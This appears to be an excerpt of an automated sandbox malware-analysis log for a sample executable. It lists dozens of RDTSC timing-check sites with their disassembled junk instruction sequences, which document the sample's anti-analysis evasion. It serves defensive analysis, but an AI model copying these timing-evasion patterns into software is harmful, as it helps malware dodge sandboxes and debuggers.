Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 44C28D second address: 44C293 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 44C293 second address: 44C2A8 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a jmp 00007F4B7CC118BBh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 44C2A8 second address: 44C2CC instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jmp 00007F4B7CC5D3B6h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop ecx 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 44C2CC second address: 44C2D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 44C2D0 second address: 44C319 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4B7CC5D3B7h 0x00000007 jmp 00007F4B7CC5D3AEh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e jmp 00007F4B7CC5D3B3h 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F4B7CC5D3ABh 0x0000001a rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 3BD20D second address: 3BD213 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 3BD213 second address: 3BD217 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 3BD217 second address: 3BD237 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4B7CC118C7h 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push esi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 44FD3D second address: 44FD43 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 44FD43 second address: 44FD49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 44FD49 second address: 44FD55 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007F4B7CC5D3A6h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 44FD55 second address: 44FD93 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jnl 00007F4B7CC118B6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007F4B7CC118C6h 0x00000011 pop edx 0x00000012 pop eax 0x00000013 push ebx 0x00000014 pushad 0x00000015 jmp 00007F4B7CC118C6h 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 453461 second address: 45347A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4B7CC5D3B1h 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 45374E second address: 45375C instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jno 00007F4B7CC118B6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 4538C5 second address: 4538D7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4B7CC5D3AEh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 4538D7 second address: 4538E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F4B7CC118BBh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 453A37 second address: 453A3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 453A3B second address: 453A3F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 45C2E5 second address: 45C302 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4B7CC5D3B9h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 45A2A4 second address: 45A2B9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4B7CC118C1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 45A2B9 second address: 45A2E2 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F4B7CC5D3ACh 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c jmp 00007F4B7CC5D3B7h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 45A440 second address: 45A464 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F4B7CC118B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F4B7CC118C6h 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 45A5A2 second address: 45A5B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 je 00007F4B7CC5D3A6h 0x0000000d js 00007F4B7CC5D3A6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 45A5B5 second address: 45A5BD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 45A8AA second address: 45A8CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jo 00007F4B7CC5D3B2h 0x0000000b jc 00007F4B7CC5D3A6h 0x00000011 jnp 00007F4B7CC5D3A6h 0x00000017 jne 00007F4B7CC5D3A8h 0x0000001d pushad 0x0000001e popad 0x0000001f popad 0x00000020 pushad 0x00000021 push eax 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 45A8CE second address: 45A8DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 ja 00007F4B7CC118B6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 45A8DD second address: 45A8E3 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 45B174 second address: 45B179 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 45B179 second address: 45B196 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jng 00007F4B7CC5D3A6h 0x00000009 jmp 00007F4B7CC5D3B2h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 45BA5D second address: 45BA6C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4B7CC118BAh 0x00000007 push esi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 45BD27 second address: 45BD45 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4B7CC5D3ADh 0x00000007 jmp 00007F4B7CC5D3ADh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 45BD45 second address: 45BD4A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 461751 second address: 46176B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F4B7CC5D3A6h 0x0000000a jmp 00007F4B7CC5D3AFh 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 4646AF second address: 4646B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F4B7CC118B6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 4649BF second address: 4649CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F4B7CC5D3A6h 0x0000000a pop ebx 0x0000000b push ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 464C71 second address: 464C84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 jno 00007F4B7CC118B6h 0x0000000d js 00007F4B7CC118B6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 464FE4 second address: 465003 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4B7CC5D3B8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 465152 second address: 465158 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 46D2BC second address: 46D2D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4B7CC5D3AEh 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 46D2D5 second address: 46D2DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 46D869 second address: 46D86F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 46D86F second address: 46D8A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 jns 00007F4B7CC118B6h 0x0000000c jmp 00007F4B7CC118C5h 0x00000011 pop eax 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 jbe 00007F4B7CC118C2h 0x0000001b jnl 00007F4B7CC118B6h 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 46D8A2 second address: 46D8B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4B7CC5D3ACh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 46DA16 second address: 46DA32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jno 00007F4B7CC118C7h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 46DA32 second address: 46DA38 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 46DA38 second address: 46DA3E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 46DA3E second address: 46DA42 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 46DA42 second address: 46DA7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4B7CC118C3h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push edi 0x0000000d pop edi 0x0000000e jnl 00007F4B7CC118B6h 0x00000014 jmp 00007F4B7CC118C7h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 46DA7D second address: 46DA90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jbe 00007F4B7CC5D3AAh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 46DA90 second address: 46DA99 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 46E77C second address: 46E780 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 46E780 second address: 46E7DD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4B7CC118C8h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jnc 00007F4B7CC118BAh 0x00000011 jg 00007F4B7CC118CEh 0x00000017 jmp 00007F4B7CC118C6h 0x0000001c pushad 0x0000001d popad 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007F4B7CC118C5h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 475244 second address: 47524E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007F4B7CC5D3A6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 483077 second address: 483082 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 js 00007F4B7CC118B6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 483082 second address: 483088 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 485DF5 second address: 485DF9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 485DF9 second address: 485E5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jmp 00007F4B7CC5D3B2h 0x0000000c pop eax 0x0000000d jmp 00007F4B7CC5D3B6h 0x00000012 jmp 00007F4B7CC5D3B8h 0x00000017 popad 0x00000018 pushad 0x00000019 je 00007F4B7CC5D3AEh 0x0000001f js 00007F4B7CC5D3A6h 0x00000025 pushad 0x00000026 popad 0x00000027 jg 00007F4B7CC5D3AAh 0x0000002d push eax 0x0000002e push edx 0x0000002f pushad 0x00000030 popad 0x00000031 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 485844 second address: 485848 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 485956 second address: 48595A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 48595A second address: 48595E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 48595E second address: 48596D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F4B7CC5D3A6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 48596D second address: 485976 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 48B3BF second address: 48B3C7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 48B3C7 second address: 48B3E7 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jng 00007F4B7CC118B6h 0x00000009 pop edx 0x0000000a push edx 0x0000000b jnc 00007F4B7CC118B6h 0x00000011 pushad 0x00000012 popad 0x00000013 pop edx 0x00000014 pop edx 0x00000015 pop eax 0x00000016 pushad 0x00000017 pushad 0x00000018 jnl 00007F4B7CC118B6h 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 48B3E7 second address: 48B400 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4B7CC5D3AFh 0x00000009 push edx 0x0000000a pop edx 0x0000000b popad 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 48C9BD second address: 48C9C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 493A77 second address: 493AAB instructions: 0x00000000 rdtsc 0x00000002 jl 00007F4B7CC5D3A6h 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jbe 00007F4B7CC5D3B2h 0x00000012 jmp 00007F4B7CC5D3ACh 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F4B7CC5D3AEh 0x0000001e jg 00007F4B7CC5D3A6h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 493AAB second address: 493AB1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 4955CF second address: 4955D3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 4955D3 second address: 4955EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b pop edx 0x0000000c pop eax 0x0000000d jo 00007F4B7CC118BCh 0x00000013 jp 00007F4B7CC118B6h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 49D032 second address: 49D037 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 49D037 second address: 49D03E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 49D2F0 second address: 49D2FC instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a push eax 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 49D47B second address: 49D481 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 49D481 second address: 49D4BC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4B7CC5D3B2h 0x00000007 jmp 00007F4B7CC5D3B2h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e jmp 00007F4B7CC5D3AAh 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 push edi 0x00000019 pop edi 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 49D4BC second address: 49D4C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 49D4C0 second address: 49D4C6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 4AB859 second address: 4AB874 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F4B7CC118BCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push edi 0x0000000d ja 00007F4B7CC118B6h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 4AB874 second address: 4AB879 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 4AB879 second address: 4AB88C instructions: 0x00000000 rdtsc 0x00000002 jno 00007F4B7CC118BCh 0x00000008 push ebx 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 4B248B second address: 4B248F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 4B248F second address: 4B24A4 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F4B7CC118B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jnl 00007F4B7CC118B6h 0x00000011 push edx 0x00000012 pop edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 4B24A4 second address: 4B24BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F4B7CC5D3B0h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 4AF6DC second address: 4AF6E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 4AF6E0 second address: 4AF6E4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 4C0DC5 second address: 4C0DE4 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jo 00007F4B7CC118B6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007F4B7CC118C3h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 4C0DE4 second address: 4C0DEB instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push esi 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 4C0DEB second address: 4C0DF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 4C0C6C second address: 4C0C70 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 4C0C70 second address: 4C0C79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\ZBbOXn0a3R.exe	RDTSC instruction interceptor: First address: 4C29B2 second address: 4C29B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
